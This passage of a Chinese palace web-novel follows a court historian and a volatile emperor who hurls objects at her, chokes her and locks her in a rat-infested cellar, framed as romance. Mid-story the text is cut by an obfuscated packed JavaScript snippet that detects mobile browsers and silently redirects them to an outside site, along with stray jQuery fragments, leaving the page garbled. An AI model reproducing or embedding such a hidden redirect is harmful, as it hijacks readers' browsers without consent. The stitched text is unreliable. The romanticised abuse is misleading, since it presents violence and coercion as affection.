哈巴狗素行盯着我挣扎了好一会儿,终于败下阵来,命小宫人们赶紧备水,千万不能污染了圣上尊贵的鼻子。 宫人手脚麻利,很快就准备好了香胰子和浴桶,素行派了个小宫女来刷洗我。 我隐约记得这个小宫女叫个什么小金莲,于是趁着素行出去回话的间隙,低声问她道:“小金莲,你们圣上为什么突然召我回来?” 小金莲给我擦背的手一顿,摇头道:“沈娘子莫问我了,我全然不知道的。” 行吧,紫宸殿这一个个全是锯嘴葫芦,三杆子打不出一个屁的闷油瓶。 收拾打扮完,我把问小金莲的话又问了一遍素行,素行也没正面回答我,只是严肃地教育我道:“沈起居郎慎言,圣上的意思,我们做奴才的怎能妄自揣度?我丑话说前头,紫宸殿不是你发疯的地方,如下次再在陛下面前失仪,可就不是去掖庭倒几日夜香能轻轻揭过的了,望你好自为之。” “好啊,”我爽快地答应了:“素行姑姑辛苦,回见。” 素行那对细纹横生的绿豆眼明显地瞪大了一圈,像是看到了什么了不得的西洋景一样。 我甜甜地笑道:“我前几日伤心过度,不大懂事,让姑姑为难了,当真抱歉,不知姑姑身上的伤好些了吗?” 素行一脸被雷劈了的表情,仿佛看见了太阳从西边上山跳了一段胡旋舞又从东面下了山。 不止是她,旁边的宫娥们也被我惊呆了,怎么说呢?她们大概已经接受了我混世魔星的设定,结果猛然发现混世魔星从良了,变成了被观音大士收服的红孩儿。 我朝四面各行一礼:“诸位姐姐,我去掖庭住了几日后想明白了,之前多有得罪,望姐姐们见谅,往后沈缨不会再这样了。” 又友好地一笑,在众人惊疑不定的眼神中,迈起长安淑女的小碎步,飘入了李斯焱的书房。 6. 第六章-起居郎的战场 李斯焱刚下了朝,换了身簇新的朱红锦袍,正靠着软榻看书,听到我进来的脚步声,头也没抬一下,只是从鼻子里哼出了一声。 比起五日前,他的精神养好了一点,原本瘦削的脸颊上新贴了些肉,见了些血色,瞧着没有从前那么阴鸷狠毒了。 我仔细打量着他,总觉得他的姿态有种装腔作势的意味。 这不是一个舒服的看书姿势,更像是我小时候为了引起安邑坊坊草的注意,而搔首弄姿的样子。 你看这狗皇帝光顾着摆姿势,快一盏茶功夫了,书本连一页都没有翻。 我草草行了个礼后,就一直安安静静地站着不说话,盯着案上的花瓶出神。 过去良久,李斯焱终于舍得抬头看我一眼。 他放下书本,嘴唇抿成一条缝,浓黑的眼睛漫不经心地盯着我,好像在确定我离开的这几日有没有像他想象的那样难过。 我坦然地站着任他打量,余光瞥了一眼他手中书本的名字,哦,是我阿爹参与编撰过的前代史。 看来我前几日骂他不学无术,被他记下了仇,偷偷摸摸地寻了几本史书来看。 “陛下为什么叫我回来?” 我见他久久不开口,便主动问道。 声音在空旷的书房中显得格外清晰。 这个问题我想了半天了,他那日那么愤怒地把我扔进掖庭,但才过了五日而已,又急匆匆地把我重新叫回来,不知狗皇帝这葫芦里是在卖什么药。 狗皇帝皱了皱眉,讶异道:“你叫朕什么?” 我重复了一遍:“陛下。” 狗皇帝眉头皱得更深了:“都知道叫陛下了,看来你在掖庭里反省得不错。” 他今天很是古怪,我不直呼他名字,他仿佛浑身不舒坦似的。 我收回目光,低眉道:“是的,想通了。” 他的声音飘过来:“朕本打算让你在掖庭里反省一月,此番提前召你回来,是因新的起居舍人不中用,需你教导一二。” 我心想嘿你这小淘气,前几天还在挑剔我的工作水平,怎么转眼就让我给新人搞业务培训呢。 他注意到了我无语的目光,把头扭开了几分,不自然地又拿起了那本书,胡乱翻看起来。 “陛下,您的书拿倒了。”我认真提醒道。 他恢复了我所熟悉的疯狗模样,阴鸷的眼神凌空扫来,道:“又想去掖庭了吗。” 我只当他在发癫,一言不发地原地站着,等他的疯劲儿过去。 李斯焱似乎在等着我骂回来,但我迟迟没有作声,他越发冷冽地瞧着我,手指揉捏这那本可怜的前代史,仿佛下一秒就要冲过来掐我的脖子。 ……瞧这阵势,或许我的午膳又要去掖庭吃了,不知道夏富贵今天准备了什么小菜。 我又开始头痛了,心想还是让他消消气吧,如果是素行的话,她会怎么做?嗯……她大概会跪下来磕头,然后喊陛下息怒。 我膝盖微微动了一下,但怎样都不想跪这个狗皇帝,于是尴尬地敷衍道:“陛下息怒,我在掖庭里倒了五日的夜香,已然明白了过错,往后……” 一听见掖庭二字,李斯焱更生气了,抓起那本被揉皱的前代史,照着我脑门扔过来,寒声道:“知错?知错还装成这副半死不活的样子来恶心朕?” 我没有闪避,那本前代史正砸在我脑门上,撕破了我刚刚痊愈的额伤。 我疼得闷哼一声,抬手摸摸伤处,麻布沁出了一点血,不过不太严重。 但我依旧维持着良好的表情管理,只是微微眯了一下眼,没有愤怒也没有委屈,好像被砸的人不是我一样。 他愣住了,扔书的手微微抬起,脱口而出道:“你为什么不躲?” 我捂着额头蹲下身,捡起那本落在地上的书,平静道:“陛下消气了吗?” 李斯焱烦躁地把头扭到一边,手指在桌上不停地伸直,又屈起,好像觉得这个姿势不舒服一般,又换了个更加别扭的站姿。 我一顿,接着道:“陛下说要我教导新的起居舍人,我照做便是,他候在门下省是吗?那我现在就去找他。” 我话音还未落,他突然转向我,冷声道:“沈缨,你别装得这一副云淡风轻的衰样,看着讨厌至极,以为朕不知道你在想什么吗?准你提前回来不是因为旁的什么,不过是因为起居舍人不中用而已,你莫要太得意了。” 说完这话后,他自己也有些此地无银的感觉,大概是想找补一二,他薄唇微启,打算添上两句奚落的刻薄话,尚未出声便被我打断了,我说:“既然如此,那不如这样,我去教导新的起居舍人两日,教会了他再去……那边,等满了一个月过了再回来,陛下觉得呢?” 但我的提议出乎了李斯焱的意料,他的刻薄话像是梗在了喉咙口一样,上也不是下也不是,额头上的青筋乱跳,看着颇为可怖。 我不知道他又在生什么鬼气,这个提议多么贴心合理啊,既培训了新人,又不耽误我受罚,两全其美,皆大欢喜。 “滚出去。”他憋了半晌后,从牙缝里挤出这三个字。 “臣告退。” 我如蒙大赦,圆润愉快地滚了。 ——走时还贴心地给他关上了房门,砰,在我关门的瞬间,一只茶杯凌空飞来,正砸在房门上,碎瓷片叮叮地掉了一地。 走出两步,又是哐当一声巨响,我短暂心疼了一下那面昂贵的洗石砚台。 我转头,对着旁边一脸便秘的素行真诚一笑道:“真抱歉,劳烦姑姑待会儿进去收拾一下,我还要去门下省教导新来的起居舍人,先失陪了哈。” 素行艰难道:“沈缨,你怎敢一而再再而三地犯上。” 我摇摇头道:“素行姑姑冤枉我了,我今天真的一句犯上的话都没说,陛下生气可能是因看我这个人不顺眼吧。” * 意识到了李斯焱膈应的是我这个人,我识趣地跑了,跑去门下省找我的新同事。 然而,双手空空的我被拦在了紫宸门处,侍卫告诉我,我被李斯焱特地关照过,一定要拿着圣谕才能前去门下省。 我沉默了,妈的,百密一疏。 无力地接受了这个事实,只能灰溜溜地回紫宸殿去。 已过了半个时辰,狗皇帝的气还没有消,烦躁地在书房里来回打转,素行一干人想悄悄进去收拾碎瓷片,都被狗皇帝冷冷地瞪了出来:“……都给我滚。” 看来是真生气,都忘了自称朕了。 之前帮我洗澡的小金莲小声道:“圣上这几日情绪一直不佳,沈起居郎去掖庭那天也是这样摔东西,今天又发了火,连素行姑姑都被骂了两回……唉,真不知道该怎样才好。” 怎么办?让他发泄完了消气呗。 我长叹了一声我不入地狱谁入地狱,问小金莲要了素行亲煎的降火茶汤,在宫人们同情的眼神中,小心地推开那扇书房的门。 狗皇帝的耳朵像猎犬一样好使,敏锐捕捉到了开门的吱呀一声,回身骂道:“哪个不长眼的还敢进来!侍卫呢,拖下去打板子!” 我端着盘子从门缝里钻进来,又用脚尖把门给踢上,绕过满地的碎瓷片,轻声道:“陛下息怒,喝点子茶,消火降燥。” 李斯焱一见是我,怒气竟然有所消退,步子一下子停了下来,讶异道:“沈缨?” 他怔怔地瞧着我,好像在看一个陌生人一样。 问题可能出在我手里这个托盘上,这是我头一次低眉顺眼地给他送茶水,他还不太习惯。 我又生硬地重复了一遍:“惹陛下生气是我的不对,陛下喝口茶吧,素行姑姑亲手煎的。” 他讥诮道:“你还敢回来,怎么,脑袋上还想再挨上一下?” “不是,”我淡淡道:“我来给陛下赔罪的,当然,如果陛下想再多砸我几下也没关系,我受得住。” 我又补充道:“陛下痛快完了,能否给我批一道圣谕,我想要去门下省寻新的起居舍人。” “哦,原是为这个来的。”李斯焱微微点头,眼神中竟有一丝隐隐的失望:“难怪。” 他大步走到我面前,抓起茶杯仰头一饮而尽,再把空杯子往地上一砸,冷冷笑道:“沈缨,你今天这个样子真叫人倒胃口,朕若是连真臣服还是做样子都分不出来的话,也用不着当这个皇帝了,朕告诉你,去宫里随便抓个洗衣妇出来都演得比你强,你明明恨极了朕,却偏要装着死猪不怕开水烫的模样,别以为朕会因你故作淡定而放过你,你做梦。” 他突然发难,我措手不及,碎瓷片崩得满地都是,有几片甚至划破了我软软的宫鞋。 嘶,真疼。 我下意识想抡起托盘把他的狗头打爆,连着深呼吸三口,才把滔天的怒火压下去 “陛下,我是史官,不是教坊的戏子,没法陪玩什么猫捉老鼠的游戏。” 我看着他,眼里盈满无法掩盖的厌恶:“把我抓来当起居郎也就罢了,还想逗我摔摔打打取乐?恕沈缨难以从命。” 他突然没头没尾地打断我的话,干巴巴道:“朕特准你父兄以四品朝臣之仪下葬,还发了厚厚的一笔抚恤。” 这次我脑子里的弦终于啪地一声断了,我气得发懵,抡起托盘往地上一摔:“哟,好大的恩惠!想让我夸你吗?还是跪下来感谢你?我可真没想到,世上竟会有这样无耻之人!你不配提我的父兄,你不配!” 人死如灯灭,纵使有千万般哀荣,也只是演给活人看。 李斯焱眼里的光暗了暗,意味不明道:“是,朕从来便是个无耻之人,你终于演不下去了,这样甚好,朕杀了你的父兄,你合该如此恨我,沈缨你知道吗,你装作曲意逢迎时简直破绽百出,唯有这样刚烈痛苦才像是你。” 说到最后,他眼中隐隐约约有兴奋与侵略欲在闪动,嘴角微微向上扬起,像是敏捷残忍的狸奴捉了只肥美的耗子,在思考如何玩弄一样。 我慢慢平静下来,冷冷道:“我横眉冷对你不喜欢,平静隐忍你也不喜欢,究竟要我怎样你才会满意?我已竭尽所能卑躬屈膝,你还嫌不够吗?” 我的嘴唇紧紧抿成一条倔强的缝,看见狗皇帝眼里的怒意在慢慢地消退。 他脸色僵硬,目光落在我干裂的嘴唇上,脸微微向下倾了一点,整个人散发出一种古怪的气质。 “不够,当然不够。”他轻声道,不知想起了什么,突然毫无征兆地抬起了手,伸向了我的头发。 我神经正紧绷着,还以为他又想对我伤痕累累的额头下手,急忙往后退了一步。 可是我忘记了,狗皇帝刚摔了一地碎瓷,一地锋利无比的贡品碎瓷。 “啊!” ——脚底踩到碎瓷,猛地一滑。 我不由惨叫一声,重心不稳,整个人向后仰倒,往那一地碎瓷里摔去。 李斯焱呆了一瞬,随后立刻反应了过来,闪电般出手抓住了我的衣襟,往回奋力一拽。 他用的力气太大了,我整个人咚地一声撞在了他的胸口处,脚也痛鼻头也痛,不由得飙出了生理性的泪水。 在我回过神来的时候,我正像只□□一样趴在李斯焱身上,触手一片温热,隐隐能感受到他锦袍下绷紧的肌肉。 后者眉头紧皱,眼中怒意澎湃。 我眨眨眼,突然尖叫了一声。 “你……!”我羞愤万分,语无伦次,像小咪炸毛一样,手脚并用地弹开:“你有毛病吧?啊?想罚我你就罚啊,不带这么羞辱人的!” 我快崩溃了,我摸了狗皇帝的胸,手从此不干净了! 李斯焱把扭来扭去的我抓住,怒吼道:“闭嘴!再敢说一个字,老子斩了你弟弟!” 我气得心肝脾肺肾一起剧痛,但到底是没敢再张嘴。 听着里头动静不对,不知是哪位勇士打开了书房门准备救驾……我绝望地回过头,看见书房外面站着十几个宫人,素行,小金莲,还有那日传唤我去宣政殿的老内侍……十几张脸上齐齐出现了一种难以言喻的震惊。 老娘十五年人生中从未那么尴尬过。 ……这么说吧,如果我眼前有一座悬崖,我一定会毫不犹豫跳下去。 “陛……陛下怎地流血了?” 一个眼尖的小宫人蓦地惊呼道。 我停止了挣扎,呆了一呆,低头看去。 只见狗皇帝腰间的衣服暗了一块,朱红色被染成了深红,但他却没有呼痛,仍是冷冷地盯着我。 “你要不要叫太医?”我干巴巴道:“你不疼的吗?” “滚。”他平静道。 说话间,他的血已经渗透了衣裳,把青砖地抹出了一道长长的红痕。 老内侍一巴掌拍在小金莲背上:“听见了吗,陛下让你滚去叫太医!” 他话音刚落,原本寂静得连脚步声都听不到的紫宸殿一下热闹得像东市菜场一样,拿镊子的拿镊子,扫碎瓷的扫碎瓷,去叫太医的小金莲飞一样冲出了门……当然最惨的还是我,我也不知道狗皇帝又在发什么癫,伸手掐住我的脖子,把我往旁边的蒲团上一扔,我哎哟了一声,整个人像个破麻袋一样被他甩了出去,咳嗽声回荡在整个御书房。 把我扔去一边后,他咬着牙缓缓地站了起来,表情吓人得很。 ——腰间与背上分别插着一块锋锐的白瓷碎片。 “第二次了,”他居高临下道:“先是咬伤朕的手,再是让朕跌伤了腰,你自己说说吧,朕是该把你的牙齿拔了,还是把你的爪子剪了?” 我也不知道脑子里哪根弦搭错了,鬼使神差来了一句:“可你不也把我额头砸伤了?” 他竟阴森地笑了出来,一下把嵌在腰间的碎瓷片拔了出来,抵在我的额头上:“想要公平些吗?那也把你的伤口划深些罢。” 我觉得他八成是真疯了,不上止血药草就敢生拔瓷片,这厮就不怕失血过多而亡吗? 李斯焱都不吝惜,施加在我额头上的力气越来越大,神情戏谑又残忍。 我咬紧牙关,呼吸急促。 伸头一刀缩头一刀,我露出一个视死如归的眼神,扭过头去—— “给太医让道!” 千钧一发之际,是那老内侍救了我。 门口一阵喧闹,一个胖胖的中年太医赶到了现场,他不住地擦着汗,向李斯焱行了大礼,小心翼翼地蹭到我身边问道:“又是这位小娘子吗,她伤了头?” 好一个又是。 素行默了默:“不是她,是……陛下。” “陛下?!”太医药箱都拿不稳了。 李斯焱放下了沾血的瓷片,又捏住我的脖子,把我扔给素行,凉凉道:“把她关到地窖去反省。” 素行当然不会接住我,她不露痕迹地后退一步,我以一个极端不雅的姿势摔倒在她面前。 没人在意我的境况,身后的太医和宫人们团团围住了李斯焱,端水的端水,送药的送药,他那里有多热闹,我这里就有多冷清。 我摸了摸额头,指尖沾了干涸的小血块,疼也是疼的,但没有那么难以忍受。 * 素行把我押去了紫宸殿荒废已久的地窖。 这地窖大约是藏过谷物,一股子发酵物的味道,我闻着这个味道,心头的恐惧一点一点升腾了起来:有谷物,那不就意味着……有老鼠? 我还在发愣,砰地一声,素行关上了窖门,那点天光消失了,眼前只剩一片昏黑。 我呆呆地站着,根本不敢想有多少小生物会在暗中窥伺着我,老鼠?蛇?蜈蚣?会不会有毒蝎子? 想到这儿,我吓得鸡皮疙瘩都起了一身,摸索着去碰窖门,试着掀开它,可窖门沉重,凭我一人,根本抬不动分毫。 耳畔已听见了悉悉索索的声音,我怕得要命,爬上了窖门处放置的木梯,尽力地离地面远一些,以为这样就能避开那些讨厌的小东西。 但这只是我的自我安慰罢了。 不知道外头过了多久,可能只有几个时辰,又可能过了好几天,我困意上涌,迷迷糊糊地阖上眼,复又被悉索声惊醒,整个人又累又饿,还不敢睡,怕自己睡着了被老鼠咬掉耳朵,落下个半身不遂…… 只得抱着膝盖背论语,想让自己清醒得久一些。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16599794|187487||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “子曰:不仁者不可以久处约,不可以长处乐。仁者安仁,知者利仁……” “子曰:“朝闻道,夕死可矣……” “子曰……” 子曰了什么啊! 下一句我忘了,绞尽脑汁地想,却怎么也记不起了。 就在这时,鞋面上忽地跑过一只多足的小虫。 “啊!”我尖叫出声。 顷刻又起了一身鸡皮疙瘩,我一面发疯般拍打,一面猛甩右腿,甩得太用力,竟还不小心别了筋。 腿上传来隐约的酸痛,我觉得自己是世上最惨的史官。 蓦地,地窖的门打开了。 我以为是有人来给我送饭,执拗地不想让人发现我狼狈的样子,死死把脸埋在膝盖里,咬紧嘴唇,一言不发。 开门的人半天没有动静,我仰起脸向上看去,却看见李斯焱正抱着手臂立在高处,身后浮动万里层云与刺眼的夕阳。 猛然见到那么多光,我的眼睛被晃得一痛。 他盯着我瞧了半晌,忽地笑了出来,开口道:“不愧是士族家养出来的千金之躯,才关了区区一个时辰便受不了了?” 我垂下眼,拿一个单薄的背影对着他。 他懒洋洋道:“你求朕,朕就放你出去。” 我没有动。 ——和耗子当同屋,恶心是恶心了些,但比起向李斯焱低头,我倒还宁可再挨上几日。 “不乐意?”他淡淡道:“那便继续待着吧。” 他作势要关上地窖门,我恹恹地闭上眼,继续背起了论语。 “对了,”他好像想起了什么,恶意道:“这里可什么都有,蝎子蜈蚣,蛇虫鼠蚁……你看你左手边是什么?” 我掀起眼皮,正与一只肥硕的灰影看了个对眼。 老鼠! 老鼠!!!! 恐惧在脑中砰地炸开,我尖叫了一声,脚底一滑,重重地栽在了地上。 李斯焱意外道:“一只老鼠把你吓成这样?” 我想站起来,脚腕却痛得要命,一动也动不了,只得坐在一片脏乱的尘土上。 那老鼠半点不怕我,溜着我的裙边一闪而过,尾巴细细长长,若有若无地扫过我的小腿…… 我一下便崩溃了,眼圈通红,像只摔疼的刺猬一样嘤嘤哭出了声。 高高在上的李斯焱蓦地愣住了。 “沈缨?”他叫我的名字。 我本不想哭的,可根本憋不住,肩膀一抽一抽地耸动,伸手按住了发痛的脚踝。 身后罩下大片的阴影,李斯焱轻轻地自高处跳了下来,抓住我的头发,往后一拉,露出我一张泪痕满面的脸来。 “你在哭?”他惊讶道。 他好像不太常看到有人在他面前哭,神色显得不大自在,但我细看时,又隐约觉得他神情里有种若有若无的满足,他满足什么?我的泪水让他开心了吗? 思及此处,我狠狠抹掉了眼泪,竭力让自己看起来冷酷一点。 李斯焱放开我的头发,在我身后盯着我看了半晌,突然噗嗤一声笑了。 变态! 脖颈一痛,他揪着我的后衣领,把我拎了起来,拖着我爬上了梯子,愉悦的声音从上方飘来:“罢了,朕心情好,恕了你的罪了,回你的屋子待着吧。” 我沙哑道:“我的腿断了。” 拽我领子的手一顿,李斯焱回过头,面上愉悦的淡笑消失了,浮现出一种隐隐的不悦感,像是一个小孩发现自己中意的玩具坏了一样。 “给朕瞧瞧。”他道。 说罢便要捋起我的裙子,我想也没想,一巴掌把他的手拍开,缩起了腿。 李斯焱被我拍了一巴掌,暴躁脾气顷刻就上了脸,眉目间浮起浓浓的阴沉之色。 “把腿伸出来,”他道:“不然就滚回地窖里过夜去。” 想起那只肥硕的老鼠,我只得咬牙把伤腿伸出了些许,他像一个富有经验的骨科郎中一样,熟稔地捏了几下我的脚腕,我被捏得疼了,闭眼闷哼了一声。 再次睁开眼时,见李斯焱正斜睨着我,薄唇掀起,不阴不阳道:“行了,别哭丧了,朕还是头一次见到把扭了脚当成是腿断了的人,哭得倒跟真的似的。” 我没断腿吗?我疑惑地吸了吸鼻子。 但真的很疼啊。 他讽刺地笑道:“性子那么烈,却配了一副娇气的身子,连肉身之痛都熬不过,还跟朕掰扯什么狗屁风骨?” “那你让我回地窖过夜好了,随你高兴。”我闷声道。 * 结果是李斯焱没有让我回地窖过夜,也没有再次把我扔去掖庭倒夜香,而是叫来素行,把我送回了前几日我短暂停留过的那间屋子,让我面壁思过。 虽说名头是面壁思过,但好像并没有人来监督我,李斯焱甚至给我叫来了太医,给我扭伤的脚腕来了一整套针灸治疗。 之后一连几天,狗皇帝都没有来找我麻烦,也不知道是因在养伤,还是难得一见的愧疚。 但他也没让我闲着,发了一道圣谕,把新上任的起居舍人叫进紫宸殿,让我趁着禁闭期间抓紧进行对新同事的业务培训。 第二天,新同事领了命,颠儿颠儿地来了。 此人生了张老成的国字脸,面黑,看起来有种庄稼汉式的老实,一开口,声音还算年轻,自我介绍道:“久仰沈起居郎的大名,小生姓魏,名喜子,往后请前辈多关照。” 魏喜子,我念了一遍这名字,听起来怎么像个太监…… 然而寒暄几句后,我发现此人其实是个不折不扣的两榜进士,现年廿三,祖籍泷右,性情木讷,不擅交游,吊车尾考上了进士,本已做好去秘书省当一辈子正字的准备,没想到祖坟上突然冒出一缕青烟,自己居然因为年轻老实,被新皇挑中了当起居舍人! 起居舍人,这可是天子近臣中的近臣!那叫一个前途无量!那叫一个风光无限!在朝臣子无不为此抢到头破血流,谁知道好事竟落在他头上了! 自从被大馅饼砸中脑袋后,他已经蒙在小被窝里狂笑了好几天了,每天都被幸福感叫醒,对着铜镜握拳欢呼一句: 早安,紫宸殿! 我就不一样,我每天醒来第一句是:狗皇帝今天死没死。 魏喜子腼腆地对着我笑道:“想不到小沈娘子瞧着这般面善,跟外面传的一点不一样。” “外面说我是什么样的?” 魏喜子老实道:“说你是夜叉国来的魔女,生三头六臂,会七十二般变化,凶猛异常,唯独圣上这等真龙天子能镇压得住。” 我听了差点晕过去,没想到我的民间形象居然如此魔幻。 他见我一脸便秘,笨拙地安慰道:“他们都是混说的,见了沈娘子面便晓得,沈小娘子眉目清秀如画,如王母座下的仙子,夜叉之说乃是无稽之谈。” 我忧伤地摸摸脸,原本我也算是有几分姿色,可现在被连番搓磨,便是明珠也变成鱼眼珠了。 我问了他几个问题,发现魏喜子文字基础十分扎实,略微培训一下史学素养即可上阵,魏喜子特诚恳地要跟我行师徒之礼,被我严词拒绝。 搞笑呢,我可不想收一个比我还大一轮的徒弟。 除此之外,我还告诉了他我和皇帝间有血海深仇,每次见面不是以吵架就是以打架收场,让他不要见怪。 魏喜子对此表示理解,公允地评价了皇帝杀史官的不正当性,把我感动得要命:这位哥哥是个公正耿直的,妥妥的史官料子!老娘没有教错人! 但他同时也补充道,他毕竟是国朝子民,李斯焱既已即位,就是他尽忠的皇帝,即使杀他的头,他也绝不会做出任何反叛之事。 我只能叹道:“魏兄定能得陛下赏识的,他最喜欢你这种臣子……” 魏喜子激动得满脸通红,抑扬顿挫道:“陛下赏识我,我必要在起居舍人位子上做出一番成就来,记叙陛下的丰功伟绩,金玉良言!” 在我的死亡凝视下,他弱弱地补充道:“当然也要记陛下不那么有道理的话,秉笔直书嘛……” 7. 第七章-上班不值得浪费化妆品 那日我刚洗过澡,转眼又去尘土里打了个转,深觉自己脏得不行,索性自暴自弃,也顾不得向李斯焱证明我并不娇气了,直接跟素行理直气壮地讨要洗澡水。 可没想到的是,素行这次半点没为难我,非但麻利地安排人送来了浴桶和热水,还一气儿拨来了两个小丫头子来伺候我。 我受宠若惊。 两个小丫头子,一个叫小金莲,是那天帮我洗澡的宫女,一个叫小金柳,是她的妹妹。 这一对金继承了紫宸殿宫女八杆子打不出一个屁的优良传统,任我说什么她们都不给回应,偶尔两姐妹会凑在一起喁喁细语,一见我过来,闭嘴的速度比鸭子逃命还快。 我被憋得近乎抓狂,休息几日后,不顾脚伤,向李斯焱提出了提前上班的申请。 ——被李斯焱无情地驳回了,理由是体恤我伤重未愈,恐有碍于书写。 我只得又躺了好几天,没事就拿宣纸剪纸钱,剪了厚厚一大篓子,我怕我阿爹和哥哥去了地下没钱花,他们活着的时候就没有理财意识,现在到阴间去,一定又是两个清白穷鬼。 素行见我剪纸钱,几次欲言又止,估计是想告诉我宫里不允许干这个晦气事,但她始终没有说出口。 于是我十分坦然地继续进行我的攒冥币大业,一个人就是一个制钞局。 中间那个胖胖的太医来过几次,每次都是沉默地换完药就速速告辞,最后一次时,他像往常一样起身要走,却被我一把抓住。 “范大人,我早就大好了,能把这麻布带拆了吗?” 我指了指脑门。 范太医一怔:“可以是可以,但是沈小娘子你的伤口刚刚愈合,还没有抹上祛疤的药剂,若是现在就拆了,这道疤便要一直跟着你了。” 我无所谓道:“没必要在我头上浪费祛疤的膏子,我看今日就可以把这麻布带拆了去。” 范太医缓缓后退,小声道:“这种事老夫不敢自专,望沈小娘子三思后行……老夫先告辞了。” 说罢他拎起药箱,缓缓后退,再缓缓后退,最后整个人消失在我眼前。 我:…… * 第二天,我自己拆了麻布带子,穿上素行新送来的柳青色夏款宫装,踏上了我的工作岗位。 加班数日的魏喜子见我来了,如遇救星,高兴得手足无措:“沈起居郎可总算来了,陛下近日勤勉政务,我一人恐有疏漏,如能与沈起居郎一起,想必会周全一些。” 我问他:“陛下心情如何?” 他又开始深情朗诵:“陛下日夜操劳,寡言少语,虽偶尔有些郁气,却不经常为难我等。” 我听懂了,就是懒得理你呗。 这时,李斯焱已整理好了衣服准备上朝,遣了个小内侍叫魏喜子过去。 我也跟着喜子老哥一块儿进了屋子,李斯焱漫不经心地瞥了他一眼,猛然间发现了站在他一旁的我,眉毛一下就皱了起来,脱口而出道:“沈缨?你来干什么?” 他今天穿了金光闪耀的朝服,上头绣着精致团龙,配合他皱成川字的眉头,很有点帝王威仪的意思。 我答道:“我是陛下的起居郎,来和魏兄一起随侍上朝的。” 李斯焱眯着眼盯着我看了一会儿,然后很平静地嗯了一声,转身走了。 他一走,身后一群人纷纷低头跟上,呼啦啦地,像蝗虫过境。 魏喜子拉了拉我的裙子:“沈起居郎不走吗?” “哦……”我这才反应过来。 一路觉得奇怪,狗皇帝今天怎么回事,没有冷嘲热讽,也没有阴阳怪气,这么平和友好,不像他啊。 莫非是被政务掏空了身体,没力气找我麻烦了? 但他不找我麻烦,总归是好事,我可不想再被关进地窖里了,那种地方去一次就能落下一生的阴影,真不知道李斯焱小时候是怎么在里头捱过两年的。 * 我们跟着狗皇帝一起上了朝,和魏喜子一左一右坐在他两侧。 我不自觉地暗中观察着他,发现狗皇帝落座的动作不太自然,大概还没有习惯优雅从容地当一个皇帝。 他的话也比之前要少了,不再当廷训斥老臣,也不再急匆匆地把心腹人放到机要的职位上,一场朝会下来,我还剩了大半截纸没用完。 其实这样也很好,政治的本质是权力的妥协与平衡,他之前的手段过于暴烈了,不是长久之计,上一个那么激进的皇帝是杨广,这么干的后果嘛,大家也都知道了…… 我叹了口气,没人教过他帝王之道,他却能无师自通,或许这种冷心冷肺的人天生就适合做皇帝吧。 他们在朝上,无外乎议论些人事任免,各地民生,百官如有大事难定夺就启奏一二,如风平浪静无事发生,则早早散朝。 今天就是无甚大事发生的一天。 我漫不经心地记录着宰相又臭又长的中书主书名单——李斯焱之前罢免了几个舍人,这回添了不少新主书进去。 宰相年事已高,声音老态龙钟,念道:“……杜子盛,姜如晦,孟叙。” 人也太多了,我边记边想,就中书省那两间破屋子,坐得下那么多新主书吗? 姜如晦……孟叙…… 孟叙? 我的笔顿住了,一滴墨氤在纸上,像一个突兀的逗点。 我脑袋里一片空白,想去换张纸,结果忙乱之中,袖子扫过笔架,纸没有换上,却把镇纸碰掉了。 一声闷响,打断了宰相的启奏。 老头子疑惑地瞧我一眼,狗皇帝也回了头,不悦地皱起眉。 我连忙低头告罪,抖着手去收拾乱七八糟的台面,心猛烈地跳起来。 还记得半月前出宫去,我去找孟哥哥退亲,他不乐意,还说要进宫找我,我那时候信了,可后来一想,内苑宫禁森严,只有少数的天子近臣可来去,他不过一个小小进士,尚未授予官职,要进宫来谈何容易,我原来已经放下了指望,可……可他真的谋到了中书省的差事,能偶尔来往紫宸殿了。 意味着,在内苑里,我不再是孤身一人。 直到这时,我才真正反应了过来,心被铺天盖地的期待与喜悦击中。 景随人心而变,好像冷寂的大殿上来了一丝柔软的春风,微微吹起我手中的纸,我抬起了头,目光穿过满朝文武,穿过重重宫墙,外头日光耀眼,春日迟迟,还是我爱的那个长安。 长安有我爱的人,他会披荆斩棘,用尽全力地来见我。 人是一种很奇怪的动物,不管现在的日子有多难过,只要有一根萝卜挂在前面,就可以望其止渴。 因为孟叙这根白白的大萝卜,我自下朝起,就一直带着隐约的笑意,魏喜子悄声问我嘴角是不是抽了筋,我一本正经跟他说,魏兄瞧见礼部尚书了没,他上朝的时候一直龇牙咧嘴扭来扭去,我怀疑他内急。 魏喜子恍然大悟,跟我一起闷声嘿嘿笑起来。 然后我不小心笑出了声,被李斯焱听到了,他刚好踏上紫宸殿前最高的台阶,突然一顿,迎着光回过头,冷冷地问我:“你笑什么?” 我的笑容僵在脸上。 我还没回答,魏喜子已经噗通一声跪了下去,纳首道:“陛下恕罪,小臣……” 李斯焱道:“闭嘴,没问你。” 魏喜子听话地闭了嘴。 李斯焱牢牢地盯着我,好像想猜出我心里在想什么一样。 他盯着我,我也含笑看着他的眼睛。 我今天太高兴了,连带着觉得狗皇帝也眉清目秀了些许。 其实他的容貌一贯是好的,只是眉目间太阴鸷了些,如果哪天打马走在朱雀大街,一定能收到一篓子帕子香包,荣登长安十二美郎君榜首。 于是,我展颜一笑,指指房梁道:“陛下你看,紫宸殿梁下来了一对儿燕子,双燕双飞绕画梁,是吉兆呢。” 我一指房梁,许多人都忍不住抬头去瞧,果真在檐下有一对小小的燕子,众人啧啧称奇。 可李斯焱没有去瞧燕子,他仍在看我,神情古怪。 我想,可能是我笑得太明显太快乐了,狗皇帝是个变态,他看不得我开心。 为了不触他的霉头,我收敛了笑容,慢慢换回了平日一脸平静的模样。 我的笑容完全消失时,李斯焱也转过头,只留给我们一个冷硬的背影,语气阴沉如水: “沈起居郎,紫宸殿不养闲人,你应好好当差,而不是左顾右盼,去寻什么燕子鹞子。” 气氛一下冷了下来,一众侍从鸦雀无声。 “庆福,去把那对畜生赶走,碍得人心烦。”他道。 庆福答应了一声,铁面无情地叫小内侍去把那对燕子打走。 人群一哄而散,紫宸殿恢复了无声的忙碌。 